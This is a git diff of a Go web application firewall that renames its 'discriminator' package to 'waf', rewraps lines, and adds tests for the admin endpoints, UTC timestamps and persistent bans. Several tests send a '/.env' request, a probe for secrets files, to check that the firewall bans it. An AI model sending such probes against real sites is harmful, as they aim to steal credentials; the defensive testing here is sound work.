@@ -1449,7 +1628,11 @@ func writeLookupDatabase(t *testing.T, path, country string) {
 	t.Helper()
 
 	lookuptest.Write(t, path, map[string]lookuptest.Network{
-		placed + "/32": {ASN: "AS64496", ASName: "Example Net", Country: country},
+		placed + "/32": {
+			ASN:     "AS64496",
+			ASName:  "Example Net",
+			Country: country,
+		},
 	})
 }
 
@@ -1487,7 +1670,8 @@ func onlyBan(t *testing.T, dir string) map[string]any {
 
 	path := filepath.Join(dir, "bans.json")
 
-	data, err := os.ReadFile(path) //nolint:gosec // a file in the test's directory
+	//nolint:gosec // a file in the test's directory
+	data, err := os.ReadFile(path)
 	if err != nil {
 		t.Fatalf("read bans.json: %v", err)
 	}
@@ -1504,7 +1688,7 @@ func onlyBan(t *testing.T, dir string) map[string]any {
 	return file.Bans[0]
 }
 
-// wantRefused checks that discriminator at url refuses a request from localhost with
+// wantRefused checks that waf at url refuses a request from localhost with
 // 403, the default SWW_BAN_RESPONSE.
 func wantRefused(t *testing.T, url string) {
 	t.Helper()
@@ -1529,7 +1713,11 @@ func wantStatus(t *testing.T, url, from string, status int) {
 // request, since sww may not watch its directory yet when it is
 // first written. It waits as long as that takes, so that a slow test
 // process cannot fail the test.
-func saveUntilAnswered(t *testing.T, path, content, url, from string, status int) {
+func saveUntilAnswered(
+	t *testing.T,
+	path, content, url, from string,
+	status int,
+) {
 	t.Helper()
 
 	for {
@@ -1661,7 +1849,11 @@ func startWebhook(t *testing.T) *webhook {
 // waitFor waits until the webhook has been sent an alert for event that
 // it took, or, unless answered, failed, and returns it. It waits as long
 // as that takes, so that a slow test process cannot fail the test.
-func (w *webhook) waitFor(t *testing.T, event string, answered bool) webhookPost {
+func (w *webhook) waitFor(
+	t *testing.T,
+	event string,
+	answered bool,
+) webhookPost {
 	t.Helper()
 
 	for {
@@ -1681,8 +1873,8 @@ func (w *webhook) waitFor(t *testing.T, event string, answered bool) webhookPost
 }
 
 // statusFrom returns the status a request to url from the client at from is
-// answered with. The request serves rproxy and discriminator alike. rproxy reads the
-// client from X-Forwarded-For, and replaces the other two headers. To discriminator,
+// answered with. The request serves rproxy and waf alike. rproxy reads the
+// client from X-Forwarded-For, and replaces the other two headers. To waf,
 // they make it a question about that client.
 func statusFrom(t *testing.T, url, from string) int {
 	t.Helper()
@@ -1694,7 +1886,7 @@ func statusFrom(t *testing.T, url, from string) int {
 	}
 
 	req.Header.Set("X-Forwarded-For", from)
-	req.Header.Set(discriminator.ClientHeader, from)
+	req.Header.Set(waf.ClientHeader, from)
 	req.Header.Set("X-Request-ID", rand.Text())
 
 	transport := &http.Transport{}

internal/sww/waf_test.go

@@ -0,0 +1,295 @@
+package sww_test
+
+import (
+	"bytes"
+	"context"
+	"crypto/rand"
+	"io"
+	"net/http"
+	"os"
+	"os/exec"
+	"path/filepath"
+	"regexp"
+	"strings"
+	"syscall"
+	"testing"
+	"time"
+
+	// The time zone database, so that the process TestMainRunsWAF starts
+	// finds the zone TZ names on any host.
+	_ "time/tzdata"
+
+	"sneak.berlin/go/smallwebwaf/internal/sww"
+	"sneak.berlin/go/smallwebwaf/internal/waf"
+)
+
+// commandForMain, while set in the environment, has this test binary run Main
+// with the command it gives, in place of the tests, so that a test can run
+// Main in a process of its own.
+const commandForMain = "SWW_TEST_COMMAND"
+
+func TestMain(m *testing.M) {
+	command, set := os.LookupEnv(commandForMain)
+	if !set {
+		os.Exit(m.Run())
+	}
+
+	os.Args = strings.Fields("sww " + command)
+
+	os.Exit(sww.Main(testVersion))
+}
+
+// startProcess starts cmd and returns a channel that gets its exit status. As
+// the test ends, cmd is killed and the test waits for it to exit.
+func startProcess(t *testing.T, cmd *exec.Cmd) <-chan int {
+	t.Helper()
+
+	err := cmd.Start()
+	if err != nil {
+		t.Fatalf("start: %v", err)
+	}
+
+	exited := make(chan int, 1)
+	waitReturned := make(chan struct{})
+
+	go func() {
+		_ = cmd.Wait()
+		exited <- cmd.ProcessState.ExitCode()
+
+		close(waitReturned)
+	}()
+
+	t.Cleanup(func() {
+		_ = cmd.Process.Kill()
+
+		<-waitReturned
+	})
+
+	return exited
+}
+
+func TestMainRunsWAF(t *testing.T) {
+	t.Parallel()
+
+	// Kiritimati is 14 hours ahead of UTC; every time sww gives stays in UTC.
+	const zone = "Pacific/Kiritimati"
+
+	_, err := time.LoadLocation(zone)
+	if err != nil {
+		t.Fatalf("load %s: %v", zone, err)
+	}
+
+	binary, err := os.Executable()
+	if err != nil {
+		t.Fatalf("find the test binary: %v", err)
+	}
+
+	dir := t.TempDir()
+	out := &output{}
+	//nolint:gosec // this test binary
+	cmd := exec.CommandContext(t.Context(), binary)
+	cmd.Stdout = out
+
+	cmd.Env = append(os.Environ(),
+		"TZ="+zone,
+		commandForMain+"="+wafCommand,
+		listenAddr+"="+localhost+":0",
+		stateDir+"="+dir,
+		cacheDir+"="+dir,
+		rulesDir+"="+t.TempDir(),
+		lookupSource+"=off")
+
+	exited := startProcess(t, cmd)
+
+	starting := out.lineBeforeExit(t, "starting", exited)
+	addr, _ := starting["address"].(string)
+	ask(t, addr, "/", http.StatusOK, waf.DispositionAllow)
+
+	// The files are written as sww stops.
+	err = cmd.Process.Signal(syscall.SIGTERM)
+	if err != nil {
+		t.Fatalf("signal: %v", err)
+	}
+
+	select {
+	case status := <-exited:
+		if status != 0 {
+			t.Fatalf(
+				"exit status %d, want 0; output:\n%s",
+				status,
+				out.text(),
+			)
+		}
+	case <-time.After(waitLimit):
+		t.Fatal("still running after being told to stop")
+	}
+
+	wantUTC(t, "the process line", starting["time"])
+	wantUTC(t, "the request line", out.line(t, "type", "request")["time"])
+
+	path := filepath.Join(dir, "clients.json")
+
+	//nolint:gosec // a file in the test's directory
+	clients, err := os.ReadFile(path)
+	if err != nil {
+		t.Fatalf("read clients.json: %v", err)
+	}
+
+	stamp := regexp.MustCompile(`"\d{4}-\d\d-\d\dT[^"]*"`)
+
+	times := stamp.FindAllString(string(clients), -1)
+	if len(times) == 0 {
+		t.Errorf("clients.json holds no time:\n%s", clients)
+	}
+
+	for _, stored := range times {
+		wantUTC(t, "clients.json", strings.Trim(stored, `"`))
+	}
+}
+
+// wantUTC checks that value, a time read from the log line or file that
+// where names, is in UTC.
+func wantUTC(t *testing.T, where string, value any) {
+	t.Helper()
+
+	text, _ := value.(string)
+	if !strings.HasSuffix(text, "Z") {
+		t.Errorf("%s gives the time %v, want one in UTC", where, value)
+	}
+}
+
+func TestMainWithoutACommandItKnowsPrintsTheCommands(t *testing.T) {
+	t.Parallel()
+
+	binary, err := os.Executable()
+	if err != nil {
+		t.Fatalf("find the test binary: %v", err)
+	}
+
+	for _, command := range []string{"", "serve"} {
+		t.Run("command "+command, func(t *testing.T) {
+			t.Parallel()
+
+			ctx, cancel := context.WithTimeout(t.Context(), waitLimit)
+			defer cancel()
+
+			var stdout, stderr bytes.Buffer
+
+			cmd := exec.CommandContext(ctx, binary)
+			cmd.Stdout, cmd.Stderr = &stdout, &stderr
+
+			cmd.Env = append(os.Environ(), commandForMain+"="+command)
+
+			err := cmd.Run()
+
+			if code := cmd.ProcessState.ExitCode(); code != 2 {
+				t.Errorf("exit status %d (%v), want 2", code, err)
+			}
+
+			for _, name := range []string{"rproxy", wafCommand, "healthcheck"} {
+				if !strings.Contains(stderr.String(), name) {
+					t.Errorf(
+						"stderr %q does not name %s",
+						stderr.String(),
+						name,
+					)
+				}
+			}
+
+			if stdout.Len() != 0 {
+				t.Errorf("stdout %q, want nothing", stdout.String())
+			}
+		})
+	}
+}
+
+// ask sends waf at addr rproxy's question about a request for path from
+// placed, checks the answer's status and disposition, and closes it.
+func ask(t *testing.T, addr, path string, status int, disposition string) {
+	t.Helper()
+
+	req, err := http.NewRequestWithContext(t.Context(), http.MethodGet,
+		"http://"+addr+path, http.NoBody)
+	if err != nil {
+		t.Fatalf("new request: %v", err)
+	}
+
+	req.Header.Set(waf.ClientHeader, placed)
+	req.Header.Set("X-Request-ID", rand.Text())
+
+	transport := &http.Transport{}
+	defer transport.CloseIdleConnections()
+
+	res, err := (&http.Client{Transport: transport}).Do(req)
+	if err != nil {
+		t.Fatalf("question: %v", err)
+	}
+
+	_, _ = io.Copy(io.Discard, res.Body)
+	_ = res.Body.Close()
+
+	if res.StatusCode != status ||
+		res.Header.Get(waf.DispositionHeader) != disposition {
+		t.Errorf(
+			"answered %d with disposition %q, want %d with %q",
+			res.StatusCode,
+			res.Header.Get(waf.DispositionHeader),
+			status,
+			disposition,
+		)
+	}
+}
+
+// runWAF runs `sww waf` with the settings in env, has use
+// send it requests at the address it listens on, stops it as SIGTERM does, and
+// checks that it stopped in order.
+func runWAF(t *testing.T, env map[string]string, use func(addr string)) {
+	t.Helper()
+
+	ctx, stop := context.WithCancel(t.Context())
+	out := &output{}
+	exited := make(chan int, 1)
+
+	go func() {
+		exited <- run(ctx, env, out)
+	}()
+
+	addr, _ := out.lineBeforeExit(t, "starting", exited)["address"].(string)
+	use(addr)
+	stop()
+
+	select {
+	case status := <-exited:
+		if status != 0 {
+			t.Fatalf(
+				"exit status %d, want 0; output:\n%s",
+				status,
+				out.text(),
+			)
+		}
+	case <-time.After(waitLimit):
+		t.Fatal("still running after being told to stop")
+	}
+
+	out.line(t, "msg", "stopped")
+}
+
+func TestWAFKeepsItsBansAcrossARestartAndNeedsNoApp(t *testing.T) {
+	t.Parallel()
+
+	env := map[string]string{
+		listenAddr: localhost + ":0",
+		stateDir:   t.TempDir(),
+		rulesDir:   filepath.Join("..", "..", "share", "rules.d"),
+	}
+
+	runWAF(t, env, func(addr string) {
+		ask(t, addr, "/", http.StatusOK, waf.DispositionAllow)
+		// The default rule file bans a probe for this.
+		ask(t, addr, "/.env", http.StatusForbidden, waf.DispositionDeny)
+	})
+
+	runWAF(t, env, func(addr string) {
+		ask(t, addr, "/", http.StatusForbidden, waf.DispositionDeny)
+	})
+}

internal/waf/abuseipdb.go

@@ -1,4 +1,4 @@
-package discriminator
+package waf
 
 // The heuristic abuseipdb. It reads SWW_ABUSEIPDB_KEY,
 // SWW_ABUSEIPDB_MIN_SCORE and SWW_REPUTATION_ACTION.
@@ -26,7 +26,11 @@ type abuseIPDB struct{}
 
 func (abuseIPDB) name() string { return "abuseipdb" }
 
-func (abuseIPDB) check(ctx context.Context, rq *request, _ time.Time) *verdict {
+func (abuseIPDB) check(
+	ctx context.Context,
+	rq *request,
+	_ time.Time,
+) *verdict {
 	if rq.h.config.AbuseIPDBKey == "" {
 		return nil
 	}
@@ -42,8 +46,13 @@ func (abuseIPDB) check(ctx context.Context, rq *request, _ time.Time) *verdict {
 
 	rq.abuseIPDBHit = true
 	rq.addTag(config.AbuseIPDBTag)
-	rq.noteHit(bans.ReputationHit{Source: reputation.AbuseIPDBSource, Score: &score},
-		"scored by AbuseIPDB at or over SWW_ABUSEIPDB_MIN_SCORE")
+	rq.noteHit(
+		bans.ReputationHit{
+			Source: reputation.AbuseIPDBSource,
+			Score:  &score,
+		},
+		"scored by AbuseIPDB at or over SWW_ABUSEIPDB_MIN_SCORE",
+	)
 
 	if rq.h.config.ReputationAction != deny {
 		return nil

internal/waf/admin.go

@@ -1,4 +1,4 @@
-package discriminator
+package waf
 
 import (
 	"bytes"
@@ -31,7 +31,8 @@ var (
 	errNotBanToAdd = errors.New(
 		"the body is not a JSON object of netblock, duration and reason")
 	errNotNetblock = errors.New(
-		"is not an address or a netblock, such as 203.0.113.9 or 203.0.113.0/24")
+		"is not an address or a netblock, such as 203.0.113.9 or 203.0.113.0/24",
+	)
 	errMappedNetblock = errors.New(
 		"is IPv4-mapped: give the IPv4 netblock, such as 203.0.113.0/24")
 	errZone        = errors.New("has a zone, which a netblock cannot have")
@@ -49,7 +50,7 @@ func (rq *request) answerHealth() {
 	_, _ = io.WriteString(rq.out, "ok\n")
 }
 
-// answerAdmin answers a request for one of discriminator's own endpoints. Each
+// answerAdmin answers a request for one of waf's own endpoints. Each
 // needs a token, sent as Authorization: Bearer <token>: the metrics
 // SWW_METRICS_TOKEN, the others SWW_ADMIN_TOKEN. A request without it is
 // refused with 401. An endpoint whose token is unset answers 404, as any other
@@ -61,10 +62,18 @@ func (rq *request) answerAdmin() {
 
 	switch {
 	case token == "":
-		http.Error(rq.out, http.StatusText(http.StatusNotFound), http.StatusNotFound)
+		http.Error(
+			rq.out,
+			http.StatusText(http.StatusNotFound),
+			http.StatusNotFound,
+		)
 	case !hasToken(rq.in, token):
 		rq.out.Header().Set("WWW-Authenticate", "Bearer")
-		http.Error(rq.out, http.StatusText(http.StatusUnauthorized), http.StatusUnauthorized)
+		http.Error(
+			rq.out,
+			http.StatusText(http.StatusUnauthorized),
+			http.StatusUnauthorized,
+		)
 	default:
 		answer()
 	}
@@ -150,7 +159,9 @@ func (rq *request) addBan() {
 // readBanToAdd reads the body of POST BansPath: a JSON object with
 // nothing but whitespace after it, in at most banBodyMaxBytes.
 func (rq *request) readBanToAdd() (banToAdd, error) {
-	data, err := io.ReadAll(http.MaxBytesReader(nil, rq.in.Body, banBodyMaxBytes))
+	data, err := io.ReadAll(
+		http.MaxBytesReader(nil, rq.in.Body, banBodyMaxBytes),
+	)
 	rq.requestBytes = int64(len(data))
 
 	if err != nil {
@@ -170,7 +181,10 @@ func (rq *request) readBanToAdd() (banToAdd, error) {
 	// Token returns io.EOF only when nothing but whitespace is left.
 	_, err = decoder.Token()
 	if !errors.Is(err, io.EOF) {
-		return banToAdd{}, fmt.Errorf("%w: more follows the object", errNotBanToAdd)
+		return banToAdd{}, fmt.Errorf(
+			"%w: more follows the object",
+			errNotBanToAdd,
+		)
 	}
 
 	return toAdd, nil
@@ -185,7 +199,11 @@ func (h *handler) banNetblock(value string) (netip.Prefix, error) {
 	netblock, err := netip.ParsePrefix(value)
 	if err == nil {
 		if netblock.Addr().Is4In6() {
-			return netip.Prefix{}, fmt.Errorf("netblock %q %w", value, errMappedNetblock)
+			return netip.Prefix{}, fmt.Errorf(
+				"netblock %q %w",
+				value,
+				errMappedNetblock,
+			)
 		}
 
 		return netblock, nil
@@ -195,7 +213,11 @@ func (h *handler) banNetblock(value string) (netip.Prefix, error) {
 	// 2001:db8::1%x/48 as part of the zone.
 	addr, err := netip.ParseAddr(value)
 	if err != nil {
-		return netip.Prefix{}, fmt.Errorf("netblock %q %w", value, errNotNetblock)
+		return netip.Prefix{}, fmt.Errorf(
+			"netblock %q %w",
+			value,
+			errNotNetblock,
+		)
 	}
 
 	if addr.Zone() != "" {
@@ -214,7 +236,11 @@ func expiry(duration string, now time.Time) (time.Time, error) {
 
 	length, err := config.ParseDurationNotOff(duration)
 	if err != nil {
-		return time.Time{}, fmt.Errorf("duration %q %w", duration, errNotDuration)
+		return time.Time{}, fmt.Errorf(
+			"duration %q %w",
+			duration,
+			errNotDuration,
+		)
 	}
 
 	return now.Add(length), nil
@@ -233,7 +259,11 @@ func (rq *request) liftBans() {
 
 	lifted := rq.h.ledger.Lift(client, rq.h.now())
 	if len(lifted) == 0 {
-		http.Error(rq.out, "no ban is active on "+client.String(), http.StatusNotFound)
+		http.Error(
+			rq.out,
+			"no ban is active on "+client.String(),
+			http.StatusNotFound,
+		)
 
 		return
 	}
@@ -250,7 +280,7 @@ type clientAnswer struct {
 	Bans   []state.BanEntry  `json:"bans"`
 }
 
-// showClient answers GET ClientsPath<ip> with what discriminator knows of the client:
+// showClient answers GET ClientsPath<ip> with what waf knows of the client:
 // its counters, its history, which holds its country as last looked up and its
 // offences, and its bans with their notes.
 func (rq *request) showClient() {
@@ -261,7 +291,9 @@ func (rq *request) showClient() {
 		return
 	}
 
-	answer := clientAnswer{Bans: state.BanEntries(rq.h.ledger.Covering(addr))}
+	answer := clientAnswer{
+		Bans: state.BanEntries(rq.h.ledger.Covering(addr)),
+	}
 
 	client, seen := rq.h.limiter.Client(rq.h.clientGroup(addr))
 	if seen {
@@ -294,7 +326,11 @@ func (rq *request) answerBans(held []bans.Ban) {
 func (rq *request) answerJSON(value any) {
 	body, err := json.MarshalIndent(value, "", "    ")
 	if err != nil {
-		rq.h.processLog.Error("encoding an answer failed", "error", err.Error())
+		rq.h.processLog.Error(
+			"encoding an answer failed",
+			"error",
+			err.Error(),
+		)
 		http.Error(rq.out, http.StatusText(http.StatusInternalServerError),
 			http.StatusInternalServerError)
 

internal/waf/admin_test.go

@@ -1,4 +1,4 @@
-package discriminator_test
+package waf_test
 
 import (
 	"encoding/json"
@@ -10,10 +10,10 @@ import (
 	"time"
 
 	"sneak.berlin/go/smallwebwaf/internal/bans"
-	"sneak.berlin/go/smallwebwaf/internal/discriminator"
 	"sneak.berlin/go/smallwebwaf/internal/ratelimit"
 	"sneak.berlin/go/smallwebwaf/internal/requestlog"
 	"sneak.berlin/go/smallwebwaf/internal/state"
+	"sneak.berlin/go/smallwebwaf/internal/waf"
 )
 
 const (
@@ -32,20 +32,37 @@ func TestAdminEndpointsAreOffWhileTheTokenIsUnset(t *testing.T) {
 	t.Parallel()
 
 	// The metrics token is set, and opens none of them.
-	s, clk, server := startWithClock(t, "", map[string]string{metricsToken: token})
-	server.Ledger.BanForLimit(netip.MustParsePrefix(otherClient+"/32"), clk.Now(),
-		bans.Notes{})
+	s, clk, server := startWithClock(
+		t,
+		"",
+		map[string]string{metricsToken: token},
+	)
+	server.Ledger.BanForLimit(
+		netip.MustParsePrefix(otherClient+"/32"),
+		clk.Now(),
+		bans.Notes{},
+	)
 	before := server.Ledger.Snapshot()
 
 	// An empty token does not match the unset one either.
 	for _, authorization := range []string{adminBearer, bearer, "Bearer ", ""} {
 		for _, e := range adminEndpoints() {
-			s.ownEndpointRequest(authorization, e.method, e.path, e.body, http.StatusNotFound)
+			s.ownEndpointRequest(
+				authorization,
+				e.method,
+				e.path,
+				e.body,
+				http.StatusNotFound,
+			)
 		}
 	}
 
 	if after := server.Ledger.Snapshot(); !reflect.DeepEqual(after, before) {
-		t.Errorf("the bans are now\n%+v\nwant them unchanged\n%+v", after, before)
+		t.Errorf(
+			"the bans are now\n%+v\nwant them unchanged\n%+v",
+			after,
+			before,
+		)
 	}
 }
 
@@ -67,32 +84,54 @@ func TestAdminEndpointsNeedTheAdminToken(t *testing.T) {
 		for _, authorization := range []string{
 			"", bearer, "Bearer " + strings.ToUpper(adminSecret), "Basic " + adminSecret,
 		} {
-			got := s.ownEndpointRequest(authorization, e.method, e.path, e.body,
-				http.StatusUnauthorized)
+			got := s.ownEndpointRequest(
+				authorization,
+				e.method,
+				e.path,
+				e.body,
+				http.StatusUnauthorized,
+			)
 			if got.header.Get("WWW-Authenticate") != "Bearer" {
-				t.Errorf("%s %s with %q was answered without WWW-Authenticate: Bearer",
-					e.method, e.path, authorization)
+				t.Errorf(
+					"%s %s with %q was answered without WWW-Authenticate: Bearer",
+					e.method,
+					e.path,
+					authorization,
+				)
 			}
 		}
 
-		if after := server.Ledger.Snapshot(); !reflect.DeepEqual(after, before) {
-			t.Errorf("%s %s without the token changed the bans to\n%+v\nfrom\n%+v",
-				e.method, e.path, after, before)
+		if after := server.Ledger.Snapshot(); !reflect.DeepEqual(
+			after,
+			before,
+		) {
+			t.Errorf(
+				"%s %s without the token changed the bans to\n%+v\nfrom\n%+v",
+				e.method,
+				e.path,
+				after,
+				before,
+			)
 		}
 
 		got := s.admin(e.method, e.path, e.body, http.StatusOK)
 		if got.header.Get("Content-Type") != "application/json" {
-			t.Errorf("%s %s answered %q", e.method, e.path, got.header.Get("Content-Type"))
+			t.Errorf(
+				"%s %s answered %q",
+				e.method,
+				e.path,
+				got.header.Get("Content-Type"),
+			)
 		}
 	}
 
 	// Any other request under /_sww/ is not found.
 	for _, e := range []adminEndpoint{
-		{http.MethodPut, discriminator.BansPath, banOtherClient},
-		{http.MethodDelete, discriminator.BansPath, ""},
-		{http.MethodGet, discriminator.BansPath + "/" + otherClient, ""},
-		{http.MethodPost, discriminator.ClientsPath + otherClient, ""},
-		{http.MethodGet, strings.TrimSuffix(discriminator.ClientsPath, "/"), ""},
+		{http.MethodPut, waf.BansPath, banOtherClient},
+		{http.MethodDelete, waf.BansPath, ""},
+		{http.MethodGet, waf.BansPath + "/" + otherClient, ""},
+		{http.MethodPost, waf.ClientsPath + otherClient, ""},
+		{http.MethodGet, strings.TrimSuffix(waf.ClientsPath, "/"), ""},
 	} {
 		s.admin(e.method, e.path, e.body, http.StatusNotFound)
 	}
@@ -118,10 +157,14 @@ func TestBanAddedListedAndLiftedThroughTheEndpoints(t *testing.T) {
 		Reason:   "probes for logins",
 	}
 
-	wantBans(t, s.admin(http.MethodPost, discriminator.BansPath, banOtherClient,
+	wantBans(t, s.admin(http.MethodPost, waf.BansPath, banOtherClient,
 		http.StatusOK), want)
 
-	line := s.get(client, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
+	line := s.get(
+		client,
+		http.StatusForbidden,
+		requestlog.ActionTemporarilyBanned,
+	)
 	if line.BanExpires != requestlog.FormatTime(expires) {
 		t.Errorf("the ban ends at %s, want %s", line.BanExpires, expires)
 	}
@@ -129,7 +172,11 @@ func TestBanAddedListedAndLiftedThroughTheEndpoints(t *testing.T) {
 	// Its notes count the request it refused.
 	want.Notes.Requests, want.Notes.Refused = 1, 1
 
-	wantBans(t, s.admin(http.MethodGet, discriminator.BansPath, "", http.StatusOK), want)
+	wantBans(
+		t,
+		s.admin(http.MethodGet, waf.BansPath, "", http.StatusOK),
+		want,
+	)
 
 	// Ten minutes on, lifting the bans on client lifts that one, which is
 	// kept, marked lifted.
@@ -138,13 +185,22 @@ func TestBanAddedListedAndLiftedThroughTheEndpoints(t *testing.T) {
 	lifted := clk.Now()
 	want.Lifted = &lifted
 
-	wantBans(t, s.admin(http.MethodDelete, discriminator.BansPath+"/"+client, "",
+	wantBans(t, s.admin(http.MethodDelete, waf.BansPath+"/"+client, "",
 		http.StatusOK), want)
 	s.get(client, http.StatusOK, requestlog.ActionForward)
-	wantBans(t, s.admin(http.MethodGet, discriminator.BansPath, "", http.StatusOK), want)
+	wantBans(
+		t,
+		s.admin(http.MethodGet, waf.BansPath, "", http.StatusOK),
+		want,
+	)
 
 	// No ban on it is active any more.
-	s.admin(http.MethodDelete, discriminator.BansPath+"/"+client, "", http.StatusNotFound)
+	s.admin(
+		http.MethodDelete,
+		waf.BansPath+"/"+client,
+		"",
+		http.StatusNotFound,
+	)
 }
 
 func TestBanToAddGivesItsNetblockAndDuration(t *testing.T) {
@@ -173,7 +229,9 @@ func TestBanToAddGivesItsNetblockAndDuration(t *testing.T) {
 		body := `{"netblock": "` + tc.netblock + `", "duration": "` + tc.duration + `"}` +
 			"\r\n"
 		want := state.BanEntry{
-			Netblock: netip.MustParsePrefix(tc.want), Start: start, Cause: bans.CauseAdmin,
+			Netblock: netip.MustParsePrefix(
+				tc.want,
+			), Start: start, Cause: bans.CauseAdmin,
 		}
 
 		if tc.length != 0 {
@@ -181,15 +239,22 @@ func TestBanToAddGivesItsNetblockAndDuration(t *testing.T) {
 			want.Expires = &expires
 		}
 
-		wantBans(t, s.admin(http.MethodPost, discriminator.BansPath, body, http.StatusOK),
-			want)
+		wantBans(
+			t,
+			s.admin(http.MethodPost, waf.BansPath, body, http.StatusOK),
+			want,
+		)
 	}
 }
 
 func TestBanToAddThatCannotBeReadIsRefused(t *testing.T) {
 	t.Parallel()
 
-	s, _, server := startWithClock(t, "", map[string]string{adminToken: adminSecret})
+	s, _, server := startWithClock(
+		t,
+		"",
+		map[string]string{adminToken: adminSecret},
+	)
 
 	for _, tc := range []struct{ body, want string }{
 		{"", "the body is not a JSON object of netblock, duration and reason: EOF"},
@@ -251,10 +316,15 @@ func TestBanToAddThatCannotBeReadIsRefused(t *testing.T) {
 			"request body too large",
 		},
 	} {
-		got := s.admin(http.MethodPost, discriminator.BansPath, tc.body,
+		got := s.admin(http.MethodPost, waf.BansPath, tc.body,
 			http.StatusBadRequest)
 		if !strings.Contains(string(got.body), tc.want) {
-			t.Errorf("%.80s was answered %q, want it to say %q", tc.body, got.body, tc.want)
+			t.Errorf(
+				"%.80s was answered %q, want it to say %q",
+				tc.body,
+				got.body,
+				tc.want,
+			)
 		}
 	}
 
@@ -276,7 +346,11 @@ func TestClientEndpointShowsTheClientAndItsBans(t *testing.T) {
 	// limit of two a minute, and bans it.
 	s.get(otherClient, http.StatusOK, requestlog.ActionForward)
 	s.get(otherClient, http.StatusOK, requestlog.ActionForward)
-	s.get(otherClient, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
+	s.get(
+		otherClient,
+		http.StatusForbidden,
+		requestlog.ActionClientIsRateLimited,
+	)
 
 	// Asked about by its address in IPv6 form too.
 	for _, addr := range []string{otherClient, "::ffff:" + otherClient} {
@@ -285,7 +359,7 @@ func TestClientEndpointShowsTheClientAndItsBans(t *testing.T) {
 			Bans   []state.BanEntry  `json:"bans"`
 		}
 
-		decode(t, s.admin(http.MethodGet, discriminator.ClientsPath+addr, "",
+		decode(t, s.admin(http.MethodGet, waf.ClientsPath+addr, "",
 			http.StatusOK), &got)
 
 		if got.Client == nil {
@@ -302,21 +376,27 @@ func TestClientEndpointShowsTheClientAndItsBans(t *testing.T) {
 		if len(got.Bans) != 1 || got.Bans[0].Cause != bans.CauseLimit ||
 			got.Bans[0].Reason != "requests per minute over the limit of 2" ||
 			got.Bans[0].Notes.Count != 3 {
-			t.Errorf("%s: bans %+v, want the one for the broken limit", addr, got.Bans)
+			t.Errorf(
+				"%s: bans %+v, want the one for the broken limit",
+				addr,
+				got.Bans,
+			)
 		}
 	}
 
 	// Of an address no request came from and no ban covers, nothing is
 	// known.
-	got := s.admin(http.MethodGet, discriminator.ClientsPath+"198.51.100.99", "",
+	got := s.admin(http.MethodGet, waf.ClientsPath+"198.51.100.99", "",
 		http.StatusOK)
-	if string(got.body) != "{\n    \"client\": null,\n    \"bans\": []\n}\n" {
+	if string(
+		got.body,
+	) != "{\n    \"client\": null,\n    \"bans\": []\n}\n" {
 		t.Errorf("an unknown client is answered\n%s", got.body)
 	}
 
-	s.admin(http.MethodGet, discriminator.ClientsPath+"203.0.113", "",
+	s.admin(http.MethodGet, waf.ClientsPath+"203.0.113", "",
 		http.StatusBadRequest)
-	s.admin(http.MethodDelete, discriminator.BansPath+"/203.0.113.0/24", "",
+	s.admin(http.MethodDelete, waf.BansPath+"/203.0.113.0/24", "",
 		http.StatusBadRequest)
 }
 
@@ -329,7 +409,13 @@ func TestAdminEndpointsNeedTheTokenInObserveMode(t *testing.T) {
 	})
 
 	for _, e := range adminEndpoints() {
-		s.ownEndpointRequest("", e.method, e.path, e.body, http.StatusUnauthorized)
+		s.ownEndpointRequest(
+			"",
+			e.method,
+			e.path,
+			e.body,
+			http.StatusUnauthorized,
+		)
 	}
 
 	if held := server.Ledger.Snapshot(); len(held) != 0 {
@@ -347,14 +433,14 @@ type adminEndpoint struct {
 // bans on otherClient, and asking about otherClient.
 func adminEndpoints() []adminEndpoint {
 	return []adminEndpoint{
-		{http.MethodGet, discriminator.BansPath, ""},
-		{http.MethodPost, discriminator.BansPath, banOtherClient},
-		{http.MethodDelete, discriminator.BansPath + "/" + otherClient, ""},
-		{http.MethodGet, discriminator.ClientsPath + otherClient, ""},
+		{http.MethodGet, waf.BansPath, ""},
+		{http.MethodPost, waf.BansPath, banOtherClient},
+		{http.MethodDelete, waf.BansPath + "/" + otherClient, ""},
+		{http.MethodGet, waf.ClientsPath + otherClient, ""},
 	}
 }
 
-// admin sends a request with method for path, with body, to discriminator's own
+// admin sends a request with method for path, with body, to waf's own
 // address, with the admin token, and checks that it is answered with status, its
 // log line's action own_endpoint. It returns the answer.
 func (s *sender) admin(method, path, body string, status int) answer {
@@ -370,7 +456,7 @@ func (s *sender) ownEndpointRequest(
 ) answer {
 	s.t.Helper()
 
-	req := newRequest(s.t, method, s.discriminatorAddr, path, strings.NewReader(body))
+	req := newRequest(s.t, method, s.wafAddr, path, strings.NewReader(body))
 	if authorization != "" {
 		req.Header.Set("Authorization", authorization)
 	}

internal/waf/alerts_test.go

@@ -1,4 +1,4 @@
-package discriminator_test
+package waf_test
 
 import (
 	"maps"
@@ -10,8 +10,8 @@ import (
 
 	"sneak.berlin/go/smallwebwaf/internal/alerts"
 	"sneak.berlin/go/smallwebwaf/internal/bans"
-	"sneak.berlin/go/smallwebwaf/internal/discriminator"
 	"sneak.berlin/go/smallwebwaf/internal/requestlog"
+	"sneak.berlin/go/smallwebwaf/internal/waf"
 )
 
 const (
@@ -46,7 +46,10 @@ func TestBanForABrokenLimitRaisesABanAlertWithItsNotes(t *testing.T) {
 	}, requestlog.FormatTime(start.Add(time.Hour))))
 
 	if ban.Notes.Limit != 1 || ban.Notes.Request.Path != "/" {
-		t.Errorf("the alert's notes are %+v, want those of the broken limit", ban.Notes)
+		t.Errorf(
+			"the alert's notes are %+v, want those of the broken limit",
+			ban.Notes,
+		)
 	}
 }
 
@@ -62,7 +65,12 @@ func TestAttackBanRaisesABanAlertThenAPermanentBanAlert(t *testing.T) {
 
 	// The probe bans the client for seven days, and its next request makes
 	// the ban permanent. The request after that changes nothing.
-	s.request(client, "/.env", http.StatusForbidden, requestlog.ActionTemporarilyBanned)
+	s.request(
+		client,
+		"/.env",
+		http.StatusForbidden,
+		requestlog.ActionTemporarilyBanned,
+	)
 
 	attackBan := server.Ledger.Bans(netblock)[0]
 
@@ -83,15 +91,27 @@ func TestAttackBanRaisesABanAlertThenAPermanentBanAlert(t *testing.T) {
 
 	otherBans := server.Ledger.Bans(other)
 
-	wantAlerts(t, queue,
+	wantAlerts(
+		t,
+		queue,
 		attackAlert(alerts.EventBan, start, client, attackBan,
 			requestlog.FormatTime(start.Add(7*24*time.Hour))),
 		attackAlert(alerts.EventPermanentBan, start.Add(time.Minute), client,
 			permanentBan, "permanent"),
